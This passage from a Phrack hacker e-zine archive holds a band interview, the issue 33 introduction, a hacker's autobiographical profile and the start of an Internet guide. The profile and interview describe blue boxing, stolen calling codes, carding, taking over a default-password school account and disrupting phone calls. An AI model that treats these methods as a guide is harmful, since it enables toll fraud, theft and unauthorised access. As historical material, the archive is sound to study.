KV: Like... you would try to come up with ways to not make the phone calls because it was so painful to do.

TC: heh

KV: The best thing was when I umm. . this was a time when I didn't know much about telephones.. or how they really worked.. umm. . but I managed to run a little thing‑‑ wires with alligator clips ‑‑uhh, from the phone that I was at to the central switcher. And uhh, whenever I like got up to goto the bathroom, or something, I'd go in there, and by connecting and shorting the two wires out I'd break up someone's phone call.

PH: ha

KV: You know, but after a while, I thought to myself, WHY? I wish I could have pulled something more creative like umm.. . installing a uhh.. a pitch transposer on the outgoing signals, so that the people on the other end of the phone would hear, "AND NOW, I WOULD LIKE TO ASK YOU: HOW DO YOU FEEL ABOUT COLEGATE?"

Me: Bahaha

TC: ahha

PH: heh!

KV: That would have been funny‑‑ aha.

KV: But, I never did that..

Me: Hmm, Do you know any other bands that are involved or interested in the computer underground?

KV: No, I don't know that there are any‑‑ most uh musicians are either anti‑tech or if they are into tech they arnt into it enough‑‑ or they arn't into it for it's own sake. Like, like hackers.

Me: Did you guys have any problems with the title of your new album? KV: Like what do you mean?

Me: Well, do you find that most of your fans think you guys are into the "hacking scene" because of the title?

KV: They can think of it anyway they want‑‑ it a bunch of different meanings. KV: Like uh, one member of the band thinks of it refering to him being a cook and he likes to cut up meat.

Me: Hah

TC: heh

TC: What about like on the 12" with the "BlueBox 2600" mix and the "Phone Phreakers" mix?

KV: What about it?

TC: Yea.. uh

KV: And the Virtual Reality mix?

TC: Yea, has that uh.. have you heard anything about that?

KV: Umm, no people in large just don't notice. I mean when your a hacker, I mean you kind of forget how little people know. But it's unbelieveable how much people don't know. And I'm sure one person in a thousand thinks that those are anything other than, "Oh another wacky mix name!" Me: Baha

KV: Most mix names are just inside jokes‑‑ so most people don't bother trying to understand them.

TC: Right.

KV: Umm, basically the only thing that has happened is that people have umm.. really responded to the concept of uhh.. us trying to tie into computer hacking‑‑ way more than we were really trying to. We just wanted it to be a reference. And the people around us are kinda pushing us into it being a theme. Were not really prepared for that. Because, while were into it, of the three of us, Im the only one who can hold down a conversation about tech. And even I have to move over and admit that I am not ane expert hacker. I just dont know enough. Like.. Uh.. I know what an FAT is, but I wouldn't know how to rewrite it.

TC: Well, that's another thing. Do you make a distinction between hacker as someone who breaks into computers or a hacker who is an intense system programmer?

KV: Do I make that distinction?

TC: Yea.

KV: Umm.. No.. Im not involved enough in the hacker world to make that distinction.

Me: Do you have anything you want to say to the computer underground? KV: Umm.. .yes let me think. . "Roller‑skating is not a crime". TC: Hah

PH: ah!

KV: You know that I live on skates don't you?

PH: Well on the album cover your wearing skates.. next to that car ... with your..

KV: My teledestruction gear!

KV: And, I have to add a grain of salt to the phrase "Hackers of the world unite" thats on our album cover..

PH: Right.

KV: We didn't actually intend it to be a huge banner.. it was suppose to be a tiny little comment on the side.. and our label misunderstood our intentions for that. We didn't think it was quite good enough to have it be a huge .. in such huge print.

Me: Hmm

KV: Not a grain of salt.. A tounge and a cheek.

TC: hehe

<SILENCE>

Me: Well, I guess thats about it.. Do you have anything you wanna sum up with? KV: Umm..

<SILENCE>

Me: Uh, Kurt, do you have an Email address somewhere?

KV: AH, well, Im embarrassed to say it but only on Prodigy.

TC: HAH

Me: Bahah!

PH: Heh

Me: Okay.. Well, if that's it..

KV: Wait. I do know something I can sum up with..

KV: Please.. In the case of our album try to overcome your instinct of hacker tendancies and buy an original disk rather than just waiting for a copy.. KV: Ok?

Me: Hah

KV: We need the money.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

[The following is a press release for InSoc's new LP. ‑‑DH]

INFORMATION

SOCIETY

"Hackers have no regard for conventional wisdom. We have no regard for musical conventions..."

‑‑ Paul Robb

"Hack has multiple meanings, some of them self‑deprecating. You can't take any of this too seriously or you've missed the point. It's about a playful use of technology, about breaking codes. It's a post‑modern aesthetic that comes through in our music..."

‑‑ James Cassidy

"After having devised, erased and blotted out many other names, we finally decided to call our album _Hack_ ‑‑ a name that, in our opinion, is lofty, sonorous and significant. It explains that we had been only ordinary hacks before we had been raised to our present status as first of all hacks in the world..."

‑‑ Kurt Valaquen

There you have it...as complete a definition of the vision of _Hack_ as you're likely to get short of actually listening to Information Society's superb new album of the same name. And if, after reading the trio's treatises on the term, you suddenly have a clear understanding of what the meaning behind _Hack_ really is, then something's gone wrong. _Hack_ is more than the definition. It's a way of life. With its own soundtrack.

"We're musical hackers of the first order," continues InSoc's Paul Robb. "What we do is similiar to computer hackers breaking into sophisticated systems to wreak havoc."

"Our music is really different from other progressive styles," adds James Cassidy. "It's funnier and scarier...a mix of pure pop and subversive stuff underneath the surface."

TOMMY BOY MUSIC, INC. 1747 1ST AV. NY, NY 10128 (212) 722‑2211

________________________________________

N E W S * B O L T S

{A ‑ G}

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A> Four direct telephone circuits linking Seoul to Moscow were set to open at midnight last night. South Korea's Communication Ministry said telephone calls between South Korea and the Soviet Union have jumped from four calls in all of 1987 to some 5,000 a month this year.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

B> In the latest issue of IEEE Spectrum (November, 1990), on pages 117‑119, there's an interesting article entitled "The Great Blue Box Phone Frauds", subtitled "Until the phone company separated signaling information from the voice signal, long‑distance calls could be made without charge by anyone who could whistle at 2600 hertz."

It even has the illustration from the June 1972 "Ramparts" magazine, showing how to constuct a "black box" to prevent the calling party from being billed for the call.

There's also a list of about five or six other references at the end of the article which sound interesting.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

C> Registering for AT&T Mail on‑line: make a modem call to 1 800 624 5123 (2400, 1200, or 300 baud, 8 bit, no parity); give one (or more) <CR>'s; and at the login prompt, type REGISTER followed by another <CR>. The system will walk you through its on‑line registration procedure. Have a creditcard number or EFT number handy. You can back out at any time with a ^C (<cntrl>‑C) and a QUIT.

A couple further AT&T Mail features:

"Mail Talk" permits retrieval of messages w/o a terminal from any DTMF phone ‑text messages get "spoken" by a synthesized voice; and there are "Autoanswer" and "Autoresponse" options permitting fairly flexible automatic response to either all or selected incoming messages.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

D> Detroit, Michigan time 313‑472‑1212. May soon be replaced with a 900 number that charges.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

E> In Australia, the hacker known as Phoenix was charged with Defrauding the Commonwealth, Conspiracy to Commit Treason, and Conspiracy to Commit Murder. The United States has sent representatives from the Federal Bureau of Investigation (FBI) and the Computer Emergency Response Team (CERT) overseas to help investigate the situation and aid in prosecution of Phoenix. In the meantime, the "eccentric" Phoenix is maintaining ties to hacker friends in the USA by use of the Internet.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

F> Bellcore reports that we have only 9 unused area codes. The current system of generating the codes was supposed to last 100‑200 years. Not to worry, a representative at the Bell organization says a new plan is already in the works. The new system consists of replacing the 2nd digit (either 0 or 1) with a number between 2 and 9. Bellcore says the new plan should last 200 more years. Hm.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

G> A new BBS has been set up for a communication flow between hackers, fed, and journalists. 713.242.6853 Instant validation for all. The BBS is called FACE to FACE.

________________________________________

*** END OF PHRACK CLASSIC 32; Email: pc@well.ca.sf.us

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

33

- Introduction to Phrack 33 by Dispater & Knight Lightning

- Phrack Profile of Shooting Shark by Crimson Death & Shooting Shark

- A Hacker's Guide to the Internet by The Gatsby

- FEDIX On-Line Information Service by Fedix Upix

- LATA Referance List by Infinite Loop

- International Toll Free Code List by The Trunk Terminator

- Phreaking in Germany by Ninja Master

- TCP/IP by The Not

- A REAL Functioning RED BOX Schematic by J.R. "Bob" Dobbs

- Phrack World News Special Edition IV (CyberView 91) by Bruce Sterling

- PWN/Part01 by Crimson Death

- PWN/Part02 by Dispater

- PWN/Part03 by Dispater

Introduction to Phrack 33

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 1 of 13

Issue XXXIII Index

_________

P H R A C K 3 3

September 15, 1991

_________

~Technology for Survival~

On December 24, 1989, Taran King and I released the 30th issue of Phrack and began to prepare for the new decade. The future of Phrack seemed bright and full of great potential. A few weeks later, Phrack was shut down by the United States Secret Service as part of a large scale attack on the world famous hacking group, the Legion of Doom.

The legend of Phrack died... or did it? Several months later, a newsletter called Phrack and listed as issue 31 appeared under the editorship of Doc Holiday. Of course it was not the original Doc Holiday from Tennessee, but instead one of the founding members of Comsec Data Security, Scott Chasin. It may have called itself Phrack, but it wasn't.

On November 17, 1990, another attempt was made to resurrect Phrack. Crimson Death and Doc Holiday were back to try again, this time calling their product "Phrack Classic." That issue was not absolutely terrible, but the tone behind the articles was misplaced. The introduction itself showed a lack of responsibility and maturity at a time when it was needed most. To complicate matters, Crimson Death failed to produce another issue of Phrack Classic until September 1, 1991, almost 10 months later. This lack of predictability and continuity has become too much of a burden on the hacker community.

I am proud to announce that a new era of Phrack has thus begun. The new Phrack is listed as Phrack 33 despite the Phrack Classic issue of September 1st. To help ease the transition, the new Phrack staff has borrowed files from the PC 33 so they are chronicled correctly. Even Crimson Death has agreed that it is once again time to pass the torch.

The new Phrack editor is Dispater and other people involved in working on this issue include Ninja Master, Circuit, and The Not. Of course they are always looking for help and good articles. The new Phrack will be run slightly different than the old. The kind of information likely to be found in Phrack will not change drastically, but Phrack is intended for people to learn about the types of vulnerabilities in systems that some hackers might be likely to exploit. If you are concerned about your system being disrupted by computer intruders, allow the hackers who write for Phrack to point out some flaws you might wish to correct. Phrack still strongly supports the free exchange of information and will never participate in censorship except when it would be necessary to protect an individual's personal privacy. There is a delicate balance to be found in this arena and hopefully it can be discovered. Be patient and do not judge the new Phrack without really giving it a chance to work out the bugs.

I've said my piece, now it is time to turn over the reigns to Dispater. I wish him the best of luck, and for you the readers, I hope you enjoy the new Phrack as much as you have enjoyed the previous.

Sincerely,

:Knight Lightning (kl@STORMKING.COM)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

A few words from Dispater:

Phrack will be introducing a new regular column similar to a "letters to the editor" section. It will be featured as the second file in each issue, beginning with issue 34. Any questions, comments, or problems that you the reader would like to air with Phrack publically will be answered there.

I'd really like to thank Crimson Death for his cooperation in helping us get Phrack started again. He is one of the coolest hackers I have met. We could not have done it without him. Other important people to mention are the The Monk and Twisted Pair.

Thanks to Tuc, Phrack will soon be using an Internet listserver. See Phrack 34 for more details. Phrack will also be found on various anonymous FTP sites across the Internet, including the anonymous ftp site at EFF.ORG, a Unix machine operated by the Electronic Frontier Foundation, an organization to which we at Phrack respect. It can also be found at the anonymous ftp site at CS.WIDENER.EDU

Off the Internet, we hope to establish several bulletin board systems as archive sites including Digital Underground (812)941‑9427, which is operated by The Not. Submissions or letters to Phrack can be made there or on the Internet by sending mail to "phracksub@STORMKING.COM".

The new format will be a little more professional. This is because I have no desire to find myself in court one day like Knight Lightning. However, I have no intention of turning Phrack Inc. into some dry industry journal. Keeping things lite and entertaining is one of the ways that I was attracted to Phrack. I think most people will agree that there is a balance of fun and business to be maintained. If this balance is not met, you the reader, will get bored and so will I!

Check out Phrack World News Special Edition IV for the "details" on CyberView '91, the SummerCon‑ference hosted by Knight Lightning that took place this past summer in St. Louis, Missouri.

________________________________________

Phrack XXXIII Table of Contents

=‑=‑=‑=‑=‑=‑=‑=‑

1. Introduction to Phrack 33 by Knight Lightning and Dispater

2. Phrack Profile of Shooting Shark by Crimson Death

3. A Hacker's Guide to the Internet by The Gatsby

4. FEDIX On‑Line Information Service by Fedix Upix

5. LATA Referance List by Infinite Loop

6. International Toll Free Code List by The Trunk Terminator

7. Phreaking in Germany by Ninja Master

8. TCP/IP: A Tutorial Part 1 of 2 by The Not

9. A REAL Functioning RED BOX Schematic by J.R."Bob" Dobbs

10. Phrack World News Special Edition IV (CyberView '91) by Bruce Sterling 11. PWN/Part01 by Crimson Death

12. PWN/Part02 by Dispater

13. PWN/Part03 by Dispater

Phrack Profile of Shooting Shark

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 2 of 13

‑*[ P H R A C K XXXIII P R O P H I L E ]*‑

‑=>[ by Crimson Death ]<=

This issue Phrack Profile features a hacker familiar to most of you. His informative files in Phrack and the Legion of Doom Technical Journals created a stampede of wanna‑be Unix hackers. Your friend and mine...

Shooting Shark

~~~~~~~~

Personal

~~~~~~~~

Handle: Shooting Shark

Call him: 'Shark'

Past handles: None

Handle origin: It's the title of the 3rd song on "Revolution By Night," which many consider to be Blue Oyster Cult's last good album.

Date of Birth: 11/25/66

Age at current date: 24

Approximate Location: San Francisco Bay Area. Height: 5'10"

Weight: 150 lbs.

Eye color: Hazel

Hair Color: Dark Brown

Computers: First: Apple //e. Presently: ALR Business V EISA

386/33.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Story of my Hacking Career

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

In 1984 I was lucky enough to be a Senior at a high school that had one of the pilot "Advanced Placement Computer Science" classes. I didn't know much about computers at the time, but I had a strong interest, so I signed up. "Advanced Placement Computer Science" meant programming in Pascal using the UCSD P‑System on the newly‑released Apple //e. I wasn't too crazy about

programming in Pascal ‑‑ does ANYBODY really like Pascal? ‑‑ but I did enjoy the software piracy sessions that the class had after school and, much of the time, during class when the Instructor was lecturing about DO WHILE loops or something equally fascinating. Some of our favorite games at the time were ZORK II and what I still consider to be the best Apple II game ever, RESCUE RAIDERS. A few months into the school year, I somehow convinced my mother to buy me my very own Apple //e, with an entire 64K of RAM, a monochrome monitor,

and a floppy drive. The first low‑cost hard drive for the Apple II, the Sider, was $700 for 10Mb at the time, so it was out of the question.

Now at about this time, Coleco was touting their Adam add‑on to the ColecoVision game unit, and they had these great guilt‑inducing advertisements that had copy something like this:

TEACHER: "I want to talk to you about Billy. He's not doing very well in school. He just doesn't seem to understand new concepts as well as the other kids. All he does is sit there and pick his nose."

CONCERNED "Well, golly, I just don't know what to do. It's probably FATHER: probably because his mother drank so much when she was pregnant."

TEACHER: "Have you considered getting Billy a computer?"

And of course the next scene showed little Billy inserting a tape cartridge into his new Adam and pecking his way to higher grades.

Such was not the case with me when I got MY computer. All I did was go home after school and play "Wizardry." I stopped doing homework and I failed 3 out of 6 classes my last semester of my Senior year of high school. Luckily enough, I had already been accepted to the local state University, so it didn't really matter. Shortly before graduating, I took the AP Computer Science test and got the minimum passing score. (I didn't feel so bad when Sir Francis Drake later told me that he failed it. Then again, he completed all the questions in BASIC.)

Worse yet, "Wargames" came out around this time. I'll admit it, my interest in hacking was largely influenced by that film.

Shortly after I (barely) graduated from high school, I saved up my money and bought a (get this) Hayes MicroModem //e. It was only something like $250

and I was in 300 baud heaven. I started calling the local "use your real name" BBSs and shortly graduated to the various small‑time hacker BBSs. Note that 90% of the BBSs at this time were running on Apples using Networks, GBBS or some other variant. Few were faster than 300 baud. It was on one of these Apple Networks BBSs that I noticed some users talking about these mysterious numbers called "800 extenders." I innocently inquired as to what these were, and got a reply from Elric of Imrryr. He explained that all I needed to do was dial an 800 number, enter a six‑digit code, and then I could call anywhere I wanted for FREE! It was the most amazing thing. So, I picked a handle, and began calling systems like Sherwood Forest II and Sherwood Forest III, OSUNY, and PloverNet. At their height, you could call any of these systems and read dozens of new messages containing lots of new Sprint and extender codes EVERY DAY. It was great! I kept pestering my mentor, Elric, and despite his undoubted annoyance with my stupid questions, we remained friends. By this time, I realized that my Hayes MicroModem //e was just not where it was at, and

saved up the $400 to buy a Novation Apple Cat 300, the most awesomest modem of its day. This baby had a sound generation chip which could be used to generate speech, and more importantly, DTMF and 2600Hz tones. Stupidly enough, I began blue boxing. Ironically, at this time I was living in the very town that Steve Wozniak and Steve Jobs had gotten busted in for boxing ten years previously.

And THEN I started college. I probably would have remained a two‑bit Apple hacker (instead of what I am today, a two‑bit IBM hacker) to this day if a friend hadn't told me that it was easy to hack into the school's new Pyramid 90x, a "super mini" that ran a BSD 4.2 variant. "The professor for the C class has created a bunch of accounts, sequentially numbered, all with the same default password," he told me. "Just keep trying them until you get an account that hasn't been used by a student yet!" I snagged an account which I still use to this day, seven years later.

At about this time, I called The Matrix, run by Dr. Strangelove. This was my first experience with Ken's FORUM‑PC BBS software. Dr. Strangelove was a great guy, even though he looks somewhat like a wood mouse (and I mean that in the nicest possible way). DSL helped me build my first XT clone for a total cost of about $400. He even GAVE me a lot of the components I needed, like a CGA card and a keyboard.

Shortly after that, The Matrix went down and was quickly replaced by IDI, run by Aiken Drum. It is here that I met Sir Francis Drake. Shortly after THAT, IDI went down and was quickly replaced by Lunatic Labs Unltd, run by my old friend The Mad Alchemist. TMA lived within walking distance of my house, so I called LunaLabs quite a bit. LunaLabs later became the home base of Phrack for a few issues when Knight Lightning and Taran King gave it upon entering their freshman year of college.

So during this time I just got really into Unix and started writing files for Phrack. I wrote about six articles for Phrack and then one for the 2nd LOD Technical Journal, which featured a brute‑force password hacker. I know, that sounds archaic, but this was back in 1984, and I was actually one of the few people in the hacker community that knew quite a bit about Unix. I've been told by several people that it was my LOD TJ article that got *them* into Unix hacking (shucks). I also wrote the original Unix Nasties article for Phrack, and on two occasions, when I was later heavily into massive Internet node hopping, I would get into a virgin system at some backwoods college like MIT and find *my file* in somebody's directory.

During 1987, I got a letter from the local FBI office. It was addressed to my real name and asked for any information I might wish to provide on a break‑in in San Diego. Of course I declined, but they kept sending me more letters. Now that I was 18 years old I decided to stop doing illegal things. I know..."what a weenie." So Lunatic Labs, now being run by The Mad Alchemist, became my exclusive haunt because it was a local board. When Elric and Sir Francis Drake took over the editorship of Phrack for a few issues, I wrote all their intro files.

When my computer broke I let those days just fade away behind me. Occasionally, old associates would manage to find me and call me voice, much to my surprise. Somebody called me once and told me an account had been created for me on a BBS called "Catch 22," a system that must have been too good to last. I think I called it twice before it went down. Most recently, Crimson Death called me, asked me to write a Profile, and here we are.

What I'm Doing Now

~~~~~~~~~~~~~~~~~~

After two years in the Computer Science program in college, I switched my major to Theater Arts for three reasons:

1) Theater Arts people were generally nicer people;

2) Most CS students were just too geeky for me (note I said "most"); and, 3) I just couldn't manage to pass Calculus III!

I graduated last year with a BA in Theater Arts, and like all newly graduated Theater majors, started practicing my lines, such as "Do you want fries with that?" and "Can I tell you about today's special?" However, I managed to have the amazing luck of getting a job in upper management at one of the west coast's most famous IBM video graphics card manufacturers. My position lets me play with a lot of different toys like AutoDesk 3D Studio and 24‑bit frame buffers. A 24‑bit image I created was featured on the cover of the November 1990 issue of Presentation Products magazine. For a while I was the system administrator of the company's Unix system, with an IP address and netnews and the whole works. Now I'm running the company's two‑line BBS ‑‑ if you can figure out what company I work for, give it a call and leave me some mail sometime. I'm also into MIDI, and I've set my mother up with a nice little studio including a Tascam Porta One and a Roland MT‑32. I was an extra in the films "Patty Hearst" (with The $muggler) and "The Doors" (for which I put in a 22‑hour day at the Warfield Theater in San Francisco for a concert scene that WAS CUT FROM THE #*%& FILM) and I look forward to working on more films in a capacity that does not require me to wear bell‑bottoms. I've also acted in local college theater and I'll be directing a full‑length production at a local community theater next year. I like to consider myself a well‑rounded person.

Oh yeah. I also got married last October.

People I Have Known

~~~~~~~~~~~~~~~~~~~

Elric of Imrryr ‑‑ My true mentor. He got me into the business. Too bad he moved to Los Angeles.

Shadow 2600 ‑‑ Known to some as David Flory, may he rest in peace. Early in my career he mentioned me and listed me as a collaborator for a 2600 article. That was the first time I saw my name in print.

Oryan QUEST ‑‑ After I had my first Phrack article published, he started calling me (he lived about 20 miles away at the time). He would just call me and give me c0deZ like he was trying to impress me or something. I don't know why he needed me for his own personal validation. I was one of the first people to see through him and I realized early on that he was a pathological liar. Later on he lied about me on a BBS and got me kicked off, because the Sysop though he was this great guy. Sheesh.

Sir Francis Drake ‑‑ Certainly one of the more unique people I've met. He printed a really crappy two‑part fiction story I wrote in his WORM magazine. Shortly after that the magazine folded; I think there's a connection.

David Lightman ‑‑ Never met him, but he used to share my Unix account at school.

The Disk Jockey ‑‑ He pulled a TRW report on the woman that I later ended up marrying. Incidentally, he can be seen playing basketball in the background in one scene of the film "Hoosiers."

Lex Luthor ‑‑ I have to respect somebody who would first publish my article in LOD TJ and then call me up for no reason a year later and give me his private Tymnet outdial code.

Dr. Strangelove ‑‑ He runs a really cool BBS called JUST SAY YES. Call it at (415) 922‑2008. DSL is probably singularly responsible for getting me into IBM clones, which in turn got me my job (how many Apple // programmers are they hiring nowadays?).

BBSs

~~~

Sherwood Forest II and III, OSUNY ‑‑ I just thought they were the greatest

systems ever.

Pirate's Bay ‑‑ Run by Mr. KRACK‑MAN, who considered himself the greatest Apple pirate that ever lived. It's still up, for all I know.

The 2600 Magazine BBS ‑‑ Run on a piece of Apple BBS software called TBBS. It is there that I met David Flory.

The Police Station ‑‑ Remember THAT one?

The Matrix, IDI, Lunatic Labs ‑‑ Three great Bay Area Forum‑PC boards.

Catch‑22 ‑‑ 25 Users, No Waiting!

And, of course, net.telecom (the original), comp.risks, rec.arts.startrek...

Memories

~~~~~~~~

Remember Alliance Teleconferencing? Nothing like putting the receiver down to go get something to eat, forgetting about it, coming back in 24 hours, and finding the conference still going on.

Playing Wizardry and Rescue Raiders on my Apple //e until I lost the

feeling in my fingers...

Carding 13 child‑sized Garfield sleeping bags to people I didn't particularly care for in high school...

Calling Canadian DA Ops and playing a 2600Hz tone for them was always fun.

Trashing all the local COs with The Mad Alchemist...

My brush with greatness: I was riding BART home from school one night a few years ago when Steve Wozniak got onto my car with two of his kids. He was taking them to a Warriors game. I was the only person in the car that recognized him. He signed a copy of BYTE that I happened to have on me and we talked about his new venture, CL‑9, the universal remote controller. (Do you know anybody who ever BOUGHT one of those?)

....And now, for the question

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks?"

Back in my Apple pirating days, I met quite a few young men who were definitely members of the Order of the Geek. However, I can count the number of true phreaks/hackers I have met personally on one hand. None of them are people I'd consider geeks, nerds, spazzes, dorks, etc. They're all people who live on the fringe and do things a bit differently ‑‑ how many LEGAL people do you know that have a nose ring? ‑‑ but they're all people I've respected. Well, let me take back what I just said. Dr. Strangelove looks kinda geeky in my opinion (my mother thinks he's cute, but then again she said that Sir Francis Drake is "cute" and when I told him that it bothered him to no end), but I consider him a good friend and a generally k‑kool d00d. (I'm sure I'll be getting a voice call from him on that one...) The only phreak that I've ever taken a genuine disliking to was Oryan QUEST, but that was only because he was a pathological liar and a pest. Who knows, he might be a nice person now, so no offense intended, especially if he knows my home address.

So, Anyway...

‑> Thanks for your time Shooting Shark.

Crimson Death

A Hacker's Guide to the Internet

==Phrack Inc.==

Volume Three, Issue Thirty‑Three, File 3 of 13

________________________________________

A Hacker's Guide to the Internet

By The Gatsby

Version 2.00 / AXiS / July 7, 1991

________________________________________

1 Index

~~~~~~~~~

Part: Title:

~~~~ ~~~~~

1 Index

2 Introduction

3 Glossary, Acronyms, and Abbreviations 4 What is the Internet?

5 Where You Can Access The Internet 6 TAC

7 Basic Commands

a TELNET command

b ftp ANONYMOUS to a Remote Site c Basic How to tftp the Files d Basic Fingering

8 Networks

9 Internet Protocols

10 Host Names and Addresses

2 Introduction

~~~~~~~~~~~~~~~~

The original release of this informative file was in an IRG newsletter, but it had some errors that I wanted to correct. I have also added more technical information.

This file is intended for the newcomer to Internet and people (like me) who are not enrolled at a university with Internet access. It covers the basic commands, the use of Internet, and some tips for hacking through Internet. There is no MAGICAL way to hacking a UNIX system. If you have any questions, I can be reached on a number of boards.

‑ The Crypt ‑ ‑ 619/457+1836 ‑ ‑ Call today ‑ Land of Karrus ‑ ‑ 215/948+2132 ‑

‑ Insanity Lane ‑ ‑ 619/591+4974 ‑

‑ Apocalypse NOW ‑ ‑ 2o6/838+6435 ‑ <*> AXiS World HQ <*>

Mail me on the Internet: gats@ryptyde.cts.com bbs.gatsby@spies.com

The Gatsby

*** Special Thanks go to Haywire (a/k/a Insanity: SysOp of Insanity Lane), Doctor Dissector, and all the members of AXiS.

3 Glossary, Acronyms, and Abbreviations

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

ACSE ‑ Association Control Service Element, this is used with ISO to help manage associations.

ARP ‑ Address Resolution Protocol, this is used to translate IP protocol to Ethernet Address.

ARPA ‑ Defense Advanced Research Project Agency

ARPANET ‑ Defense Advanced Research Project Agency or ARPA. This is an experimental PSN which is still a sub network in the Internet. CCITT ‑ International Telegraph and Telephone Consultative Committee is a international committee that sets standard. I wish they would set a standard for the way they present their name!

CERT ‑ Computer Emergency Response Team, they are responsible for coordinating many security incident response efforts. They have real nice reports on "holes" in various UNIX strands, which you should get because they are very informative.

CMIP ‑ Common Management Information Protocol, this is a new HIGH level protocol.

CLNP ‑ Connection Less Network Protocol is OSI equivalent to Internet IP DARPA ‑ Defence Advanced Research Project Agency. See ARPANET DDN ‑ Defence Data Network

driver ‑ a program (or software) that communicates with the network itself, examples are TELNET, FTP, RLOGON, etc.

ftp ‑ File Transfer Protocol, this is used to copy files from one host to another.

FQDN ‑ Fully Qualified Domain Name, the complete hostname that reflects the domains of which the host is a part.

Gateway ‑ Computer that interconnects networks.

Host ‑ Computer that is connected to a PSN.

Hostname ‑ Name that officially identifies each computer attached internetwork.

Internet ‑ The specific IP‑base internetwork.

IP ‑ Internet Protocol which is the standard that allows dissimilar host to connect.

ICMP ‑ Internet Control Message Protocol is used for error messages for the TCP/IP.

LAN ‑ Local Area Network

MAN ‑ Metropolitan Area Network

MILNET ‑ DDN unclassified operational military network.

NCP ‑ Network Control Protocol, the official network protocol from 1970 until 1982.

NIC ‑ DDN Network Information Center

NUA ‑ Network User Address

OSI ‑ Open System Interconnection. An international standardization program facilitate to communications among computers of different makes and models.

Protocol ‑ The rules for communication between hosts, controlling the information by making it orderly.

PSN ‑ Packet Switched Network

RFC ‑ Request For Comments, is technical files about Internet protocols one can access these from anonymous ftp at NIC.DDN.MIL. ROSE ‑ Remote Operations Service Element, this is a protocol that is used along with OSI applications.

TAC ‑ Terminal Access Controller; a computer that allow direct access to Internet.

TCP ‑ Transmission Control Protocol

TELNET ‑ Protocol for opening a transparent connection to a distant host. tftp ‑ Trivial File Transfer Protocol, one way to transfer data from one host to another.

UDP ‑ User Datagram _Protocol

Unix ‑ This is copyrighted by AT&T, but I use it to cover all the look‑alike Unix systems, which you will run into more often. UUCP ‑ Unix‑to‑Unix Copy Program, this protocol allows UNIX file transfers. This uses phone lines using its own protocol, X.25 and TCP/IP. This protocol also exist for VMS and MS‑DOS. uucp ‑ uucp when in lower case refers to the UNIX command uucp. For more information on uucp read files by The Mentor in the Legion of Doom Technical Journals.

WAN ‑ Wide Area Network

X.25 ‑ CCITTs standard protocol that rules the interconnection of two hosts.

In this file I have used several special charters to signify certain things. Here is the key;

* ‑ Buffed from UNIX itself. You will find this on the left side of the margin. This is normally "how to do" or just "examples" of what to do when using Internet.

# ‑ This means these are commands, or something that must be typed in.

4 What is the Internet?

~~~~~~~~~~~~~~~~~~~~~~~~~

To understand the Internet you must first know what it is. The Internet is a group of various networks, ARPANET (an experimental WAN) was the first. ARPANET started in 1969, this experimental PSN used Network Control Protocol (NCP). NCP was the official protocol from 1970 until 1982 of the Internet (at this time also known as DARPA Internet or ARPA Internet). In the early 80's DARPA developed the Transmission Control Protocol/Internet Protocol which is the official protocol today, but much more on this later. Due to this fact, in 1983 ARPANet split into two networks, MILNET and ARPANET (both are still part of the DDN).

The expansion of Local Area Networks (LAN) and Wide Area Networks (WAN) helped make the Internet connecting 2,000+ networks strong. The networks include NSFNET, MILNET, NSN, ESnet and CSNET. Though the largest part of the Internet is in the United States, the Internet still connects the TCP/IP networks in Europe, Japan, Australia, Canada, and Mexico.

5 Where You Can Access Internet

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Internet is most likely to be found on Local Area Networks or LANs and Wide Area networks or WANs. LANs are defined as networks permitting the interconnection and intercommunication of a group of computers, primarily for the sharing of resources such as data storage device and printers. LANs cover a short distance (less than a mile) and are almost always within a single building complex. WANs are networks which have been designed to carry data calls over long distances (many hundreds of miles). You can also access Internet through TymNet or Telenet via gateway. You'll have to find your own NUAs though.

6 TAC

~~~~~~~

TAC (terminal access controller) is another way to access Internet. This is just dial‑up terminal to a terminal access controller. You will need to get a password and an account. TAC has direct access to MILNET. One example of a TAC dialup is (800)368‑2217, but there are several out there to be found. In fact, CERT has a report circulating about people attempting to find these dialups through social engineering.

If you want the TAC manual you can write a letter to:

Defense Communications Agency

Attn: Code BIAR

Washington, DC 2o3o5‑2ooo

Be sure to write that you want the TAC User Guide, 310‑p70‑74.

In order to logon, you will need a TAC Access Card. You would probably get it from the DDN NIC. Here is a sample logon:

Use Control‑Q for help...

*

* PVC‑TAC 111: 01 \ TAC uses to this to identify itself * @ #o 124.32.5.82 \ Use ``O'' for open and the internet

* / address which yea want to call.

*

